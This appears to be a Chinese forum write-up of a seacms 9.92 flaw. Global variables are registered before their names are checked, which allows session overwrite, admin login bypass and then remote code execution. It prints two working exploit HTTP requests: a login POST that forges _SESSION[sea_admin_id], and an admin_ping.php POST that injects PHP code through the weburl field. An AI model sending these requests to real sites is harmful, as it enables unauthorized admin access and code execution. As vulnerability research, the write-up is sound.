seacms9.92从变量覆盖到getshell

之前看到朋友在 Freebuf 发的 seacms 9.92全局变量覆盖从越权到RCE 文章,其实这个地方在之前看前台getshell那个洞的时候也发现了,这里把当时的记录分享下。

这个漏洞,主要是利用了覆盖全局变量,然后越权使用后台功能进行 getshell 。有点不好利用的是需要知道网站的后台路径,而 seacms 的后台路径是随机命名的。

seacms 中多数程序在开头都会包含 include/common.php 文件。该文件主要会做两件事。先将 $_GET、$_POST、$_COOKIE 注册成全局变量。(下图对应文件位置:include/filter.inc.php)

然后再检查这里是否存在非法变量名。不觉的这里有问题吗?正常逻辑应该是先检查变量名是否合法,然后再注册变量。还有一个问题就是,这里漏过滤了 _SESSION、_FILES 。(下图对应文件位置:include/common.php)

由于这个错误的逻辑,导致我们只要找到使用 session_start 并包含 include/common.php 文件的地方,就可以覆盖 session 。接下来,我们直接看程序对 admin 用户身份的识别,身份验证代码如下。

可以看到,代码主要是对 $_SESSION['sea_admin_id']、$_SESSION['hashstr'] 两个变量进行了验证。前一个变量很好覆盖,但是后一个变量是由数据库名、账号、密码拼接的md5值,不好猜测。我们要想办法寻找泄露这个值的地方,或者寻找可以直接利用这个值的地方。

很巧的是, seacms 提供了普通用户注册的功能。当登录普通用户的时候,程序就会给我们设置 $_SESSION['hashstr'] ,具体代码如下。(下图对应文件位置:login.php)

所以最后的 EXP 如下,其中 _SESSION[sea_ckstr] 为小写验证码(必需项)。

POST /seacms992/login.php HTTP/1.1
Host: 0.0.0.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ot3pjfmngfkugktsk9ajns5336
Connection: close
Content-Length: 97

dopost=login&userid=demo&pwd=demo&validate=XWTZ&_SESSION[sea_admin_id]=1&_SESSION[sea_ckstr]=xwtz

通过发送上面的数据包,我们就可以覆盖 session ,接着直接访问后台地址就可以越权登录了。

接下来就是找后台 RCE 了,直接打开文件监控程序,1分钟内找到 RCE 点,具体不分析了,没意思。

EXP 如下:

POST /seacms992/59og6c/admin_ping.php?action=set HTTP/1.1
Host: 0.0.0.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ot3pjfmngfkugktsk9ajns5336
Connection: close

weburl=";phpinfo();//&token=123456789

严重怀疑这个 CMS 把别的 CMS 漏洞抄了一遍?可以参考 DedeCMS、DuomiCMS 等的历史漏洞。再一个,即便是最新版的代码,虽然过滤了 $_SESSION、$_FILES ,但是我们前面说过,程序本身的校验逻辑顺序就有问题。我们只要找到 session_start() 的地方,就又可以覆盖 $_SESSION ,只不过 $_SESSION['hashstr'] 我们无法预测罢了。

5 个赞